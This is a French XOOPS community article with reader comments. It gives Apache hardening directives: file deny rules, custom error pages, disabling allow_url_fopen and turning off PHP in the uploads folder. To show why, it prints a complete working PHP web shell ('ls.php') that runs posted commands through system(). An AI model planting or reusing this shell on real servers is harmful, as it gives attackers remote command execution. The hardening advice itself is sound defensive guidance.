Fork me on GitHub

Quelques directives pour apache

200804
Juin
  falcon5 Documentations 5194
Documentations

Cet article n'a pas pour objectif de proposer de façon exhaustive la configuration de apache ou du VirtualHost.

Le but étant simplement de proposer quelques pistes afin de mieux sécuriser ces fichiers. Des améliorations peuvent donc surement être apportées et sont même demandées.

Certaines directives fonctionnent également pour les .htaccess



La protection de certains fichiers (importants):

<Files "mainfile.php">
Order allow,deny
Deny from all
</Files>

<
Files "theme.html">
Order allow,deny
Deny from all
</Files>

<
FilesMatch "theme_?.html">
order deny,allow
deny from all
</FilesMatch>

Un message d'erreur personnalisé (404 etc):
ErrorDocument 400 /oops.php
ErrorDocument 401 
/oops.php
ErrorDocument 403 
/oops.php
ErrorDocument 404 
/oops.php
ErrorDocument 405 
/oops.php
ErrorDocument 408 
/oops.php
ErrorDocument 410 
/oops.php
ErrorDocument 411 
/oops.php
ErrorDocument 412 
/oops.php
ErrorDocument 413 
/oops.php
ErrorDocument 414 
/oops.php
ErrorDocument 415 
/oops.php
ErrorDocument 500 
/oops.php
ErrorDocument 501 
/oops.php
ErrorDocument 502 
/oops.php
ErrorDocument 503 
/oops.php
ErrorDocument 506 
/oops.php

Le fichier "oops.php" se trouvant dans notre racine xoops :
<?php
include "mainfile.php";
include 
"header.php";
redirect_header(XOOPS_URL."/",3,_NOPERM);
?>

Quelques autres directives apache importantes:
ServerSignature Off

<Directory "/chemin/dacces/xoops">
    
php_admin_flag   allow_url_fopen   off
    Order Deny
,Allow
    Allow from all
    
# Don't show indexes for directories
    
Options -Indexes
</Directory>

Désactiver PHP dans les dossiers où cela n'est pas nécessaire afin d'éviter les mésaventures type "ls.php" avec dans celui-ci le code suivant :
<?php
  
echo '<pre>';
  echo 
$_POST['command'];
  echo 
'<hr />';
  
system($_POST['command'], $retval); # needed for 'ls' commands
  
echo '</pre>';
  echo 
'<hr />Return value: ' $retval;
  echo 
'<hr />';
  echo 
'<form action="ls.php" method="post">';
  echo 
'<input type="text" name="command" value="' $_POST['command'] . '" />';
  echo 
'<button>submit</button>';
  echo 
'</form>';
?>

Avec ce script il est possible d'exécuter des commandes sur le serveur... (pas très chouette).
Afin d'éviter ceci nous allons désactiver les extensions php là où cela n'est pas nécessaire par exemple dans le dossier uploads/
<Directory "/chemin/dacces/vers/xoops/uploads">
php_admin_flag engine off
Options None
AllowOverride None
</Directory>

Si vous en avez l'occasion je vous suggère également de mettre le contenu de mainfile.php hors racine xoops dans un fichier avec un autre nom que mainfile.php exemple : monmainfilepersonalise.php
Dans le mainfile.php de se trouvant dans la racine xoops mettez ceci:
<?php
include ('/chemin/dacces/vers/monmainfilepersonalise.php');
?>

Autre suggestion:
Profitez des options que certains modules proposent (exemple: WF-Downloads) de mettre les téléchargement hors racine xoops.
Ceci vous permets de mettre uploads/ en 755 et non en 777.

Voici les quelques indications que je désirais partager avec vous.

Note: 0.00 (0 votes) - Noter cet article -

Partager Twitter Partagez cette article sur GG+
Format imprimable Envoyer cet article à un ami
Les commentaires appartiennent à leurs auteurs. Nous ne sommes pas responsables de leur contenu.
Xoops accro
Inscrit le: 25/02/2004
De: Région parisienne
Contributions: 2526
DuGris Posté le: 04/06/2008 19:59  Mis à jour: 04/06/2008 20:01
 Re: Quelques directives pour apache
Merci pour cet article qui permettra à nos membres de les rassurer

Citation :
Certaines directives fonctionnent également pour les .htaccess

En fait tous ou presque, sauf ceux concernant php (donc commençant par <?php)

allez je vous livre un autre exemple de fichier de message d'erreur personnalisé qui évite la redirection
oops.php
<?php
include "mainfile.php";
include 
XOOPS_ROOT_PATH "/header.php";
?>

<div class="xo-blockszone x2-ErrorDocument" id="xo-ErrorDocument">
    <div class="xo-block">
        <div class="xo-blocktitle">
            Erreur !!!
        </div>
        <div class="xo-blockcontent" id="ErrorDocument">
            La page n'existe pas !!!
        </div>
    </div>
</div>


<?php
include XOOPS_ROOT_PATH "/footer.php";
?>
Admin Frxoops
Inscrit le: 16/05/2003
De: Rhone-Alpes
Contributions: 4051
alain01 Posté le: 04/06/2008 23:46  Mis à jour: 04/06/2008 23:46
 Re: Quelques directives pour apache
Excellent article, simple, clair et efficace.
Merci Falcon5 !!!
Propulsé avec XOOPS | Graphisme adapté par Tatane, Grosdunord, Montuy337513

41 Personne(s) en ligne (2 Personne(s) connectée(s) sur Articles) | Utilisateur(s): 0 | Invité(s): 41 | Plus ...